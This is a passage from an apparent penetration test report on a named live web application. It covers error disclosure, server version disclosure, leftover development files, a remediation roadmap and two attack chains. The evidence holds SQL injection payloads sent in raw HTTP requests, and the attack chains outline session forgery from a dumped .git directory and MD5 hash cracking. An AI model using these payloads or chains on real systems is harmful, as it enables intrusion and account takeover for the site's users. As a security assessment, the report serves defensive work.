- Framework identified: CodeIgniter (HMVC with MX modules)
- Server path: /home/app/ confirmed across multiple error responses

Request

PrettyRawHex

1 POST /auth/act_auth HTTP/2

2 Host: mhc.internationalosos.co.id

3 Cookie: ci_session=473c30a07726347affba2982e6dc2e11

4 Content-Length: 65

5 Sec-Ch-Ua-Platform: "Windows"

6 Accept-Language: en-US,en;q=0.9

7 Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"

8 Sec-Ch-Ua-Mobile: ?0

9 X-Requested-With: XMLHttpRequest

10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36

11 Accept: application/json, text/javascript, */*; q=0.01

12 Content-Type: application/x-www-form-urlencoded; charset=UTF-8

13 Origin: https://mhc.internationalosos.co.id

14 Sec-Fetch-Site: same-origin

15 Sec-Fetch-Mode: cors

16 Sec-Fetch-Dest: empty

17 Referer: https://mhc.internationalosos.co.id/

18 Accept-Encoding: gzip, deflate, br

19 Priority: u=1, i

20

21 username=admin'%20AND%20SLEEP(5)--%20-&'password=admin&login=true

Response

PrettyRawHexRender

A PHP Error was encountered

Severity: 8192

Message: md5(): Passing null to parameter #1 (\$string) of type string is deprecated

Filename: controllers/Auth.php

Line Number: 29

Backtrace:

File: /home/app/modules/auth/controllers/Auth.php

Line: 29

Function: md5

File: /home/app/index.php

Line: 208

Function: require_once

{"status":0,"data":[],"message":"Please check Username and password..."}

Inspector

Notes

Explanations

Custom actio

Request	Response
<pre>1 POST /ajax/data/check_number HTTP/2 2 Host: mhc.internationalosos.co.id 3 Cookie: ci_session=98d4a9480d1a72efd09b451d9661578a' 4 Content-Length: 30 5 Sec-Ch-Ua-Platform: "Windows" 6 Accept-Language: en-US,en;q=0.9 7 Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146" 8 Sec-Ch-Ua-Mobile: ?0 9 X-Requested-With: XMLHttpRequest 10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 11 Accept: */* 12 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 13 Origin: https://mhc.internationalosos.co.id 14 Sec-Fetch-Site: same-origin 15 Sec-Fetch-Mode: cors 16 Sec-Fetch-Dest: empty 17 Referer: https://mhc.internationalosos.co.id/meme/me 18 Accept-Encoding: gzip, deflate, br 19 Priority: u=1, i 20 21 clientid=8';--%20-&number=1001</pre>	A PHP Error was encountered Severity: Warning Message: Undefined array key "user" Filename: helpers/sos_helper.php Line Number: 854 Backtrace: File: /home/app/application/helpers/sos_helper.php Line: 854 Function: _error_handler File: /home/app/modules/ajax/controllers/Data.php Line: 380 Function: check_number File: /home/app/index.php Line: 208 Function: require_once A PHP Error was encountered Severity: Warning Message: Trying to access array offset on null Filename: helpers/sos_helper.php Line Number: 854
<pre>1 GET /meme/me/pdf_preview/?' HTTP/2 2 Host: mhc.internationalosos.co.id 3 Cookie: ci_session=e4276831e69778084158fa27bc733c39 4 Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146" 5 Sec-Ch-Ua-Mobile: ?0 6 Sec-Ch-Ua-Platform: "Windows" 7 Accept-Language: en-US,en;q=0.9 8 Upgrade-Insecure-Requests: 1 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 10 Accept: text/html,application/xhtml+xml,application/xml;q=0. 9,image/avif,image/webp,image/apng,*/*;q=0.8,applica tion/signed-exchange;v=b3;q=0.7 11 Sec-Fetch-Site: same-origin 12 Sec-Fetch-Mode: navigate 13 Sec-Fetch-User: ?1 14 Sec-Fetch-Dest: document 15 Referer: https://mhc.internationalosos.co.id/meme/me/guide 16 Accept-Encoding: gzip, deflate, br 17 Priority: u=0, i 18 19</pre>	A PHP Error was encountered Severity: 8192 Message: trim(): Passing null to parameter #1 (\$string) of type string is deprecated Filename: libraries/AdminController.php Line Number: 338 Backtrace: File: /home/app/application/libraries/AdminController.php Line: 338 Function: trim File: /home/app/index.php Line: 208 Function: require_once If it appears you don't have Adobe Reader or PDF support in this web browser. Click here to download the PDF

Impact

- Complete application stack and framework identification
- Internal file path disclosure aids directory traversal attacks
- Function-level code insight accelerates all other attack vectors
- SQL query structure leakage directly enabled SQL injection confirmation

Recommendation

- Set display_errors = Off in php.ini or .htaccess for production
- Set ENVIRONMENT to "production" in CodeIgniter index.php
- Enable error_log = On and log to a file outside webroot
- Implement custom error pages that do not reveal technical details
- Use a centralized logging solution (e.g., ELK stack) for error monitoring

References

- [PHP Error Handling Best Practices](#)
- [OWASP Error Handling](#)
- [CWE-209: Generation of Error Message Containing Sensitive Information](#)

Finding 8: Web Server Version Disclosure (Nginx 1.28.0)

Severity	Low
CVSS Score	5.3 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP	A05:2021 — Security Misconfiguration
Affected URL	All HTTP responses (Server header)
Auth Required	No

Description

The application discloses the exact version of the Nginx web server (1.28.0) in the Server HTTP response header present on all responses. Version disclosure allows attackers to identify the precise software version and search for known vulnerabilities (CVEs) specific to that version. Additionally, a Caddy reverse proxy is also disclosed, revealing the dual-proxy architecture.

Evidence

Response header: Server: nginx/1.28.0

Response header: Server: Caddy

Present on all HTTP responses regardless of endpoint

```
1 GET /themes/admin/ HTTP/2
2 Host: mhc.internationalosos.co.id
3 Cookie: ci_session=eb93fc7ef63b279c057133b73a687e5a
4 Sec-Ch-Ua-Platform: "Windows"
5 Accept-Encoding: gzip, deflate, br
6 Accept-Language: en-US,en;q=0.9
7 Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/146.0.0.0 Safari/537.36
9 Sec-Ch-Ua-Mobile: ?0
10 Accept: /*/*
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: no-cors
13 Sec-Fetch-Dest: audio
14 Referer:
  https://mhc.internationalosos.co.id/meme/me/welcome
15 Range: bytes=0-
16 Priority: i
17
18
1 HTTP/2 403 Forbidden
2 Alt-Svc: h3=":443"; ma=2592000
3 Content-Type: text/html
4 Date: Sat, 09 May 2026 09:53:32 GMT
5 Referrer-Policy: strict-origin-when-cross-origin
6 Server: Caddy
7 Server: nginx/1.28.0
8 Strict-Transport-Security: max-age=63072000;
  includeSubdomains; preload
9 X-Content-Type-Options: nosniff
10 X-Frame-Options: SAMEORIGIN
11 X-Xss-Protection: 1; mode=block
12 Content-Length: 555
13
14 <html>
15   <head>
16     <title>
17       403 Forbidden
18     </title>
19   </head>
20   <body>
```

Impact

- Targeted exploitation of version-specific vulnerabilities
- Infrastructure fingerprinting and attack surface mapping
- Dual reverse proxy architecture revealed

Recommendation

- Set server_tokens off; in nginx.conf to hide version number
- In Caddy, add "header -Server" directive to Caddyfile
- Consider replacing or masking the Server header with a generic value

References

- [Nginx server_tokens directive](#)
- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](#)

Finding 9: Development Artifacts Accessible in Production

Severity	Info
CVSS Score	5.3 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP	A05:2021 — Security Misconfiguration
Affected URL	/themes/admin/atlant/assets/ — multiple files
Auth Required	No

Description

Several development and sample files are present and accessible in the production environment. These include a jQuery File Tree browser script (jqueryFileTree.php), an image cropping handler (process.php), and CKEditor sample files including posteddata.php. While none of these were exploitable in their current state due to unconfigured placeholder paths, their presence indicates an incomplete deployment process and creates unnecessary attack surface.

Evidence

/themes/admin/atlant/assets/filetree/jqueryFileTree.php — HTTP 200, PHP error on access

/themes/admin/atlant/assets/cropping/process.php — HTTP 200, 0 bytes response

/themes/admin/atlant/js/ckeditor/samples/assets/posteddata.php — HTTP 200, CKEditor sample page rendered

jqueryFileTree.php: \$root = "/path/to/your/directory/" placeholder not replaced — not exploitable

process.php: \$image path placeholder not configured — not exploitable

```
D:\mhc>type clone2_poc\themes\admin\atlant\assets\filetree\jqueryFileTree.php
<?php
//
// jQuery File Tree PHP Connector
//
// Version 1.01
//
// Cory S.N. LaViska
// A Beautiful Site (http://abeautifulsite.net/)
// 24 March 2008
//
// History:
//
// 1.01 - updated to work with foreign characters in directory/file names (12 April 2008)
// 1.00 - released (24 March 2008)
//
// Output a list of files for jQuery File Tree
//
$root = '/path/to/your/directory/';
$_POST['dir'] = urldecode($_POST['dir']);

if( file_exists($root . $_POST['dir']) ) {
    $files = scandir($root . $_POST['dir']);
    natcasesort($files);
    if( count($files) > 2 ) { /* The 2 accounts for . and .. */
        echo "<ul class=\"jqueryFileTree\" style=\"display: none;\>";
        // All dirs
        foreach( $files as $file ) {
            if( file_exists($root . $_POST['dir'] . $file) && $file != '.' && $file != '..' && !
is_dir($root . $_POST['dir'] . $file) && substr($file, 0, 1) != '.') {
                echo "<li class=\"directory collapsed\"><a href=\"#" . htmlentities
($_POST['dir'] . $file) . "\"> . htmlentities($file) . "</a></li>";
            }
        }
        // All files
        foreach( $files as $file ) {
            if( file_exists($root . $_POST['dir'] . $file) && $file != '.' && $file != '..' && !
is_dir($root . $_POST['dir'] . $file) ) {
                $ext = preg_replace('/^.*\./', '', $file);
                echo "<li class=\"file ext_{$ext}\"><a href=\"#" . htmlentities($_POS
T['dir'] . $file) . "\"> . htmlentities($file) . "</a></li>";
            }
        }
        echo "</ul>";
    }
}

?>
D:\mhc>
```


Impact

- Increased attack surface with unnecessary scripts in production
- Information disclosure about development tools used
- If placeholder paths are ever configured, file browsing and upload vulnerabilities become critical

Recommendation

- Remove all development artifacts, sample files, and placeholder scripts from production
- Implement a deployment checklist to ensure only required files are deployed
- Use .gitignore and deployment scripts to exclude development files
- Regularly audit web-accessible files in production

References

- [OWASP Secure Deployment](#)
- [CWE-552: Files or Directories Accessible to External Parties](#)

6. Remediation Roadmap

The following remediation actions are recommended, prioritized by urgency and impact:

6.1 Immediate Actions

- Block .git directory access in Nginx/Caddy web server configuration
- Revoke the exposed GitHub Personal Access Token at github.com/settings/tokens
- Rotate both application encryption keys and invalidate all active sessions
- Remove adminer.php from the production server
- Set display_errors = Off in PHP configuration
- Block config.php from web access via web server rules

6.2 Short-term Actions

- Fix SQL Injection in date_start parameter, use CodeIgniter Query Builder with parameterized queries
- Implement proper server-side session destruction on logout (`$this->session->sess_destroy()`)
- Migrate password hashing from MD5 to password_hash() with PASSWORD_ARGON2ID
- Force password reset for all existing users after hash migration
- Remove all development artifacts from production (jqueryFileTree.php, process.php, CKEditor samples)
- Add application/logs/ to .gitignore and remove log files from git history
- Rotate database credentials

6.3 Long-term Actions

- Implement a Web Application Firewall (WAF) with SQL injection detection rules
- Set up centralized error logging (ELK stack or similar) log to file, not browser
- Conduct a full source code security review with focus on all database query patterns
- Implement SAST (Static Application Security Testing) in the CI/CD pipeline
- Set server_tokens off in Nginx and suppress Server header in Caddy
- Implement Content Security Policy (CSP) headers
- Establish a secrets management solution (HashiCorp Vault or cloud secrets manager)
- Conduct security awareness training for the development team

7. Attack Chains

The following attack chains demonstrate how individual vulnerabilities can be chained together to achieve maximum impact:

7.1 Complete Authentication Bypass via .git Exposure

Step 1:

.git directory publicly accessible → git-dumper downloads full source code

Step 2:

config.php obtained → Encryption keys extracted from source code

Step 3:

Encryption key used to forge valid ci_session cookie for any user ID

Step 4:

Forged session cookie submitted → Full authenticated access as admin

Result: Complete application compromise without any credentials

7.2 Database Breach via SQL Injection + MD5 Cracking

Step 1:

SQL Injection in date_start parameter → database enumeration

Step 2:

Dump app_user table → obtain MD5 password hashes for all users

Step 3:

MD5 hashes cracked via rainbow tables or GPU (10B hashes/second)

Step 4:

Cracked credentials used to login → authenticated access to application

Result: Full account takeover for all users in the database

8. Conclusion

The web application penetration test of mhc.internationalosos.co.id revealed a serious security posture that requires immediate attention. The combination of an exposed .git directory, hardcoded encryption keys, SQL injection vulnerabilities, and insecure password hashing creates multiple pathways to complete application compromise.

The most critical finding the publicly accessible .git directory serves as the root cause for several subsequent vulnerabilities, as it enabled access to source code, credentials, and encryption keys that would otherwise be inaccessible. Addressing this single misconfiguration would significantly reduce the overall risk profile of the application.

It is strongly recommended that the development and infrastructure teams treat the Immediate Actions in Section 6.1 as emergency tasks to be completed within 24 hours of this report. Following remediation, a focused retest should be conducted to verify that all identified vulnerabilities have been effectively addressed.

Report prepared by: Garry Tria Irawan (Penetration Tester)

Date: May 17, 2026

Classification: **CONFIDENTIAL — Internal Use Only**